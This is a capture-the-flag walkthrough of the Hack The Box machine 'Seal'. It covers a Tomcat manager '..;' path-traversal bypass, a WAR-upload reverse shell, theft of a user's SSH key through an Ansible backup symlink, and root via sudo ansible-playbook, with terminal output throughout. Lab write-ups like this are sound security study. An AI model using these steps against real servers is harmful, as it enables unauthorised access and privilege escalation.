We can see DNS name seal.htb on 443 which is HTTPS . Put it in your /etc/hosts
Search function is doesn't work, Found a possible username Jomono , The administrator email is admin@seal.htb .
Directory Scan
Found /admin folder but it gave us 404 not found.In /manager/status , we get authentication for tomcat but we don't have credentials.Default credentials also didn't work.
Port 8080
Tried to put some credentials like admin:admin but it doesn't work.Let's create an account.
When we login with that account. we can see updated tomcat configuration
In that commit , we can see username and password for tomcat.
Now we got tomcat credentials.
Go to https://seal.htb/manager/status and you can login with that credential.
After wasting in google to exploit this, I found this on rapid7 .
You can bypass with path traversal to access html like this.
https://seal.htb/manager/status/..;/html
Now we can upload a war file to get reverse shell.
When we upload we need to intercept the traffic because to add ..; .Otherwise we can't access the html.
Getting User
When you finished file uploading, you can see rev_shell like this.
Listen with netcat and click on it. you will get reverse shell as tomcat user.
After pspy running, we can see /opt/backups/playbook/run.yml file running as luis.
A simple script that copies files from src folder to dest folder. When I seach in google about “copy_links=yes” , it doing symlinks for us. So we can simply link that to anywhere within the backup path to get it copied in to the backup.
First we need to create a symlink to the id_rsa of Luis and we have writeable in /uploads folder.
find . -writable -file
Now go to /opt/backups/archives and copy .gz file to /tmp directory.
Now go to dashboard/uploads directory.
id_rsa
Save as file and give it the right permission.
chmod 600 id_rsa
Privilege Escalation
After reading this article , I found a way to get command execution.
tomcat@seal:/opt/backups/archives$ ls -lsa
596 -rw-rw-r-- 1 luis luis 609578 Oct 10 21:21 backup-2021-10-10-21:21:33.gz
tomcat@seal:/opt/backups/archives$ cp backup-2021-10-10-21:21:33.gz sheinn.gz
tomcat@seal:/dev/shm$ gzip -kd pencer.gz
tomcat@seal:/dev/shm$ file pencer
pencer: POSIX tar archive
tomcat@seal:/dev/shm$ tar xvf pencer
dashboard/
dashboard/scripts/
dashboard/images/
dashboard/css/
dashboard/uploads/
tomcat@seal:/dev/shm$ cd dashboard/uploads/.ssh
tomcat@seal:/dev/shm/dashboard/uploads/.ssh$ ls -lsa
4 -rw-r----- 1 tomcat tomcat 563 May 7 06:10 authorized_keys
4 -rw------- 1 tomcat tomcat 2590 May 7 06:10 id_rsa
4 -rw-r----- 1 tomcat tomcat 563 May 7 06:10 id_rsa.pub
tomcat@seal:/dev/shm/dashboard/uploads/.ssh$ cat id_rsa
┌─[sheinn101@parrot]─[~/htb/seal]
└──╼ [??]$ ssh -i id_rsa luis@10.10.10.250
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 15 Nov 2021 04:37:58 AM UTC
System load: 0.0 Processes: 168
Usage of /: 46.8% of 9.58GB Users logged in: 0
Memory usage: 21% IPv4 address for eth0: 10.10.10.250
Swap usage: 0%
22 updates can be applied immediately.
15 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri May 7 07:00:18 2021 from 10.10.14.2
luis@seal:~$ cat user.txt
6dc0d38826*********8ecb82b49a
luis@seal:~$
luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *
luis@seal:~$
luis@seal:/tmp$ sudo ansible-playbook pwned.yml
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
PLAY [task] **********************************************************************************************************************************************************
TASK [Gathering Facts] ***********************************************************************************************************************************************
ok: [localhost]
TASK [Getting Shell] *************************************************************************************************************************************************
[WARNING]: Consider using the file module with mode rather than running 'chmod'. If you need to use command because file is insufficient you can add 'warn: false'
to this command task or set 'command_warnings=False' in ansible.cfg to get rid of this message.
changed: [localhost]
PLAY RECAP ***********************************************************************************************************************************************************
localhost : ok=2 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
luis@seal:/tmp$ /bin/bash -p
bash-5.0# id
uid=1000(luis) gid=1000(luis) euid=0(root) egid=0(root) groups=0(root),1000(luis)
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
2999febbaf********ed74c30b77438
bash-5.0#
